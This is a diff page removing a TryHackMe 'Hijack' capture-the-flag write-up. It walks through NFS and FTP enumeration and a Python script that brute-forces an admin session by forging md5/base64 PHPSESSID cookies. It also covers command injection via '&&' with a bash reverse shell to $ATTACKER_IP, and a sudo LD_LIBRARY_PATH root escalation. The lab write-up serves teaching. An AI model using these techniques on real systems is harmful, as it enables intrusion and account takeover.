Compare commits
No commits in common. "046ab229445db660c692d8995af6de53b940be74" and "bd0bbe392688c17bcd2bed2de34fc5b7ff8634e3" have entirely different histories.
046ab22944
...
bd0bbe3926
|
|
@ -1,2 +0,0 @@
|
|||
./tryhackme/Expose.md
|
||||
|
||||
|
|
@ -1,264 +0,0 @@
|
|||
# Hijack Writeup
|
||||
|
||||
THis is a writeup for the Tryhackme challenge [Hijack](https://tryhackme.com/room/hijack)
|
||||
|
||||
## Enumeration
|
||||
|
||||
First, nmap as follows:
|
||||
|
||||
```sh
|
||||
nmap --min-rate 4000 -p- 10.10.16.106
|
||||
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-21 11:56 CEST
|
||||
Nmap scan report for 10.10.16.106
|
||||
Host is up (0.063s latency).
|
||||
Not shown: 65526 closed tcp ports (conn-refused)
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
22/tcp open ssh
|
||||
80/tcp open http
|
||||
111/tcp open rpcbind
|
||||
2049/tcp open nfs
|
||||
38490/tcp open unknown
|
||||
44511/tcp open unknown
|
||||
49338/tcp open unknown
|
||||
57526/tcp open unknown
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 18.56 seconds
|
||||
```
|
||||
|
||||
Since there is an NFS I want to take a look at it.
|
||||
|
||||
```sh
|
||||
showmount -e 10.10.16.106
|
||||
Export list for 10.10.16.106:
|
||||
/mnt/share *
|
||||
```
|
||||
|
||||
So, there is a share I can mount in the following way
|
||||
|
||||
```sh
|
||||
mkdir /tmp/nfsfiles
|
||||
sudo mount -t nfs 10.10.16.106: /tmp/nfsfiles
|
||||
```
|
||||
|
||||
A look at the file permissions tells me, that a user with uid 1003 created the
|
||||
share. Therefore, a user with the same uid on the local attack machine, where
|
||||
the share has been mounted, is needed to get permissions to open the directory.
|
||||
|
||||
```sh
|
||||
ls -l nfsfiles/mnt/
|
||||
|
||||
drwx------ 2 1003 1003 4096 Aug 8 21:28 share
|
||||
```
|
||||
|
||||
```sh
|
||||
sudo useradd hijack -u 1003 -m -s /bin/bash
|
||||
```
|
||||
|
||||
Now switch to the user and take a look at the inside of the share.
|
||||
|
||||
```sh
|
||||
sudo su hijack
|
||||
|
||||
ls -la nfsfiles/mnt/share/
|
||||
total 12
|
||||
drwx------ 2 hijack hijack 4096 Aug 8 21:28 .
|
||||
drwxr-xr-x 3 root root 4096 Aug 8 21:28 ..
|
||||
-rwx------ 1 hijack hijack 46 Aug 8 21:28 for_employees.txt
|
||||
```
|
||||
|
||||
Taking a look at the file provides the following
|
||||
|
||||
```sh
|
||||
cat nfsfiles/mnt/share/for_employees.txt
|
||||
|
||||
ftp creds :
|
||||
|
||||
ftpuser:XXXXXXXXXXXXXXXXXXXXXXXX
|
||||
```
|
||||
|
||||
Next up, using the credentials on the ftp server
|
||||
|
||||
```sh
|
||||
ftp ftpuser@10.10.16.106
|
||||
Connected to 10.10.16.106.
|
||||
220 (vsFTPd 3.0.3)
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp> ls -la
|
||||
229 Entering Extended Passive Mode (|||38678|)
|
||||
150 Here comes the directory listing.
|
||||
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 .
|
||||
drwxr-xr-x 2 1002 1002 4096 Aug 08 19:28 ..
|
||||
-rwxr-xr-x 1 1002 1002 220 Aug 08 19:28 .bash_logout
|
||||
-rwxr-xr-x 1 1002 1002 3771 Aug 08 19:28 .bashrc
|
||||
-rw-r--r-- 1 1002 1002 368 Aug 08 19:28 .from_admin.txt
|
||||
-rw-r--r-- 1 1002 1002 3150 Aug 08 19:28 .passwords_list.txt
|
||||
-rwxr-xr-x 1 1002 1002 655 Aug 08 19:28 .profile
|
||||
226 Directory send OK.
|
||||
```
|
||||
|
||||
Two files are `.from_admin.txt` and
|
||||
`.password_list.txt` are of special interest . The former file contains the following
|
||||
|
||||
```
|
||||
To all employees, this is "admin" speaking,
|
||||
i came up with a safe list of passwords that you all can use on the site, these passwords don't appear on any wordlist i tested so far, so i encourage you to use them, even me i'm using one of those.
|
||||
|
||||
NOTE To rick : good job on limiting login attempts, it works like a charm, this will prevent any future brute forcing.
|
||||
```
|
||||
|
||||
The latter is a list of random passwords the admin seems to have created earlier.
|
||||
|
||||
## Exploitation
|
||||
|
||||
At first I tried to circumvent the rate limiting, which took a lot of time and
|
||||
led nowhere in the end. The key is the `PHPSESSID` cookie, it looked a bit
|
||||
suspicious so I tried to decode it for the user I created on the page.
|
||||
|
||||
```base64
|
||||
d2h4OmE4ZjVmMTY3ZjQ0ZjQ5NjRlNmM5OThkZWU4MjcxMTBj
|
||||
```
|
||||
|
||||
decoded to
|
||||
|
||||
```
|
||||
whx:a8f5f167f44f4964e6c998dee827110c
|
||||
```
|
||||
|
||||
That hash looked a lot like an md5 hash, so I compared it to the password I used
|
||||
|
||||
```sh
|
||||
echo -n "asdasd" | md5sum
|
||||
a8f5f167f44f4964e6c998dee827110c -
|
||||
```
|
||||
|
||||
After that I created a Python script to hash & encode the cookie before iterating
|
||||
the list and in this way I got the correct password.
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
import base64
|
||||
import requests
|
||||
|
||||
URL = "http://10.10.16.106/administration.php"
|
||||
|
||||
with open ("./ftp/passwords_list.txt", 'r') as _f:
|
||||
data = [x.strip() for x in _f.readlines()]
|
||||
|
||||
r = requests.get(URL)
|
||||
page_content = r.text
|
||||
print(r)
|
||||
|
||||
for line in data:
|
||||
_hash = hashlib.md5(line.encode('utf-8')).hexdigest().encode('utf-8')
|
||||
concat_str = b'admin:' + _hash
|
||||
_b64hash = base64.b64encode(concat_str).decode()
|
||||
print(_b64hash)
|
||||
headers = { "Cookie": f"PHPSESSID={_b64hash}"}
|
||||
r = requests.get(URL, headers=headers)
|
||||
if len(r.text) > len(page_content):
|
||||
print("password: " + line)
|
||||
print("cookie: " + _b64hash)
|
||||
break
|
||||
```
|
||||
|
||||
After login there is a `Service Status Checker` on the administration page. You
|
||||
can see the status of services/daemons installed on the box of the challenge through
|
||||
`systemctl status <command>`. My first impression was to just chain commands
|
||||
through `;` like `ssh
|
||||
; id`, but that ended in
|
||||
|
||||
> Command injection detected, please provide a service.
|
||||
|
||||
Most of the commonly used shells have boolean operators like `&&` and `||` as a
|
||||
condition for the previous exit status code. For example in bash you can check
|
||||
the status code of the last command that was executed via `echo $?`. That means `&&` is true if the previous command
|
||||
would return a `0` otherwise `||` is true and the command afterwards will be
|
||||
executed.
|
||||
These operators are not blocked by the page, it is possible to chain commands
|
||||
like this
|
||||
|
||||
```sh
|
||||
sshd && bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
|
||||
```
|
||||
|
||||
Catch the shell via `nc -lvnp 4444` and [upgrade
|
||||
it](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/).
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
On the target `config.php` contains credentials for the user rick.
|
||||
|
||||
```php
|
||||
cat config.php
|
||||
<?php
|
||||
$servername = "localhost";
|
||||
$username = "rick";
|
||||
$password = "XXXXXXXXXXXXXXXXXXX";
|
||||
$dbname = "hijack";
|
||||
|
||||
// Create connection
|
||||
$mysqli = new mysqli($servername, $username, $password, $dbname);
|
||||
|
||||
// Check connection
|
||||
if ($mysqli->connect_error) {
|
||||
die("Connection failed: " . $mysqli->connect_error);
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
So, I switched to the user using `su rick` and got the first flag inside
|
||||
`/home/rick/user.txt`. One of the first things to check on gained privileges is the current user's
|
||||
permissions on the availability of substituting other users, usually using
|
||||
sudo.
|
||||
|
||||
```sh
|
||||
su rick
|
||||
Password:
|
||||
|
||||
rick@Hijack:/var/www/html$ sudo -l
|
||||
[sudo] password for rick:
|
||||
Matching Defaults entries for rick on Hijack:
|
||||
env_reset, mail_badpass,
|
||||
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
|
||||
env_keep+=LD_LIBRARY_PATH
|
||||
|
||||
User rick may run the following commands on Hijack:
|
||||
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
|
||||
```
|
||||
|
||||
Checking permissions did provide the inability to write on any of the files that are contained in the command that can be run through sudo for user rick. That means,
|
||||
the next best thing to concentrate on is `env_keep+=LD_LIBRARY_PATH`.
|
||||
[Hacktricks' page on linux privilege
|
||||
escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation)
|
||||
contains [a section for
|
||||
LD_LIBRARY_PATH](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path).
|
||||
I Compiled the library and preloaded it on the same line as the available sudo
|
||||
command. Through this method I was able to spawn a root shell.
|
||||
|
||||
```sh
|
||||
rick@Hijack:/tmp$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
|
||||
|
||||
root@Hijack:/tmp#
|
||||
```
|
||||
|
||||
The flag can be found inside the root directory
|
||||
|
||||
```sh
|
||||
root@Hijack:/tmp# cat /root/root.txt
|
||||
|
||||
██╗░░██╗██╗░░░░░██╗░█████╗░░█████╗░██╗░░██╗
|
||||
██║░░██║██║░░░░░██║██╔══██╗██╔══██╗██║░██╔╝
|
||||
███████║██║░░░░░██║███████║██║░░╚═╝█████═╝░
|
||||
██╔══██║██║██╗░░██║██╔══██║██║░░██╗██╔═██╗░
|
||||
██║░░██║██║╚█████╔╝██║░░██║╚█████╔╝██║░╚██╗
|
||||
╚═╝░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
|
||||
|
||||
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
|
||||
```
|
||||
|
||||
Happy Hacking!
|
||||
Loading…
Reference in New Issue